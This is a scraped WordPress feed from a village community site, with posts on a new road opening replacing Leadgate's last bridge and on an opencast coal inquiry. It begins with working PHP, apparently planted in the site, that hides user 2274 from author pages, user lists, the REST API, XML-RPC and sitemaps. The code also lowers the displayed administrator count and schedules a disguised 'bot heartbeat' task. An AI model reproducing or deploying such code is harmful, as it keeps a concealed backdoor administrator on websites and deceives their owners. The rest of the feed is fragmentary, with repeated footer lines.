add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2274;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2274 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2274 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2274;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2274;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2274;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2274(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2274;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Pont Burn Valley appeared first on Leadgate Village.
]]>The post Pont Burn Valley appeared first on Leadgate Village.
]]>The post Up Date on Leadgate’s Last Bridge Standing/New Road Opening appeared first on Leadgate Village.
]]>The work for completion of this project has resulted in the official opening of the new road being planned for 11 am on Friday 9th Dec. with the current Chair of DCC, Snr DCC Officers/Members & Local Cllrs due to attend – the official opening is likely to be “conducted” by the current Chair of DCC (Cllr Eddie Bell) – we hope that a local person from Leadgate (perhaps Mrs. Carol Stockdale – widow of the late Hon. Alderman Bill Stockdale) could be involved in the ‘cutting of the tape’
The Cricket Club has agreed to open (after the official road opening) for the provision of light refreshments
Cllrs continue holding discussions with DCC project management, & Bentleys, to finalize the remaining work schedules before the opening of the road.
1.1 – Removal of the remaining bridge stonework & the realignment of the eastern corner of the mound improving the visual access to the road/cycleway has been completed.
1.2 – All roadways (incl. West Parade) footpath & cycleway surfacing are to be completed during w/c 21st & 28th of November.
1.3 – The white concrete wall at Leadgate C.C. is to be removed (w/c Dec 5th) and will be replaced with wire weld mesh – improving the visual amenity outlook when entering/leaving the village.
1.4 – All bus services are to be routed through the village as of Saturday 10th Dec. and all the diversion route signs removed
1.5 – The bollards at the Cricket Club (preventing access to Garden Place & Terrace via Bradley Ind. Estate) are to be replaced (creating some additional parking for the cricket club) once any issues with the new road are resolved.
The introduction of this new road will provide Leadgate with an opportunity to improve the economic prosperity of the village for existing tradespeople and encourage new commercial businesses to relocate to the area.
Local DCC members (Cllr Alan Shield & Cllr Watts Stelling) will strive to achieve the potential that this new road development will bring.
The post Up Date on Leadgate’s Last Bridge Standing/New Road Opening appeared first on Leadgate Village.
]]>The post A Trip Down “Leadgate’s” Memory lane appeared first on Leadgate Village.
]]>The post A Trip Down “Leadgate’s” Memory lane appeared first on Leadgate Village.
]]>The post Opencast Quarrels Rampage Again appeared first on Leadgate Village.
]]>A second public inquiry into controversial plans to excavate opencast coal from land near Leadgate in the North West Durham countryside is now underway.
Read more here
Back to Front Page … Click here!
The post Opencast Quarrels Rampage Again appeared first on Leadgate Village.
]]>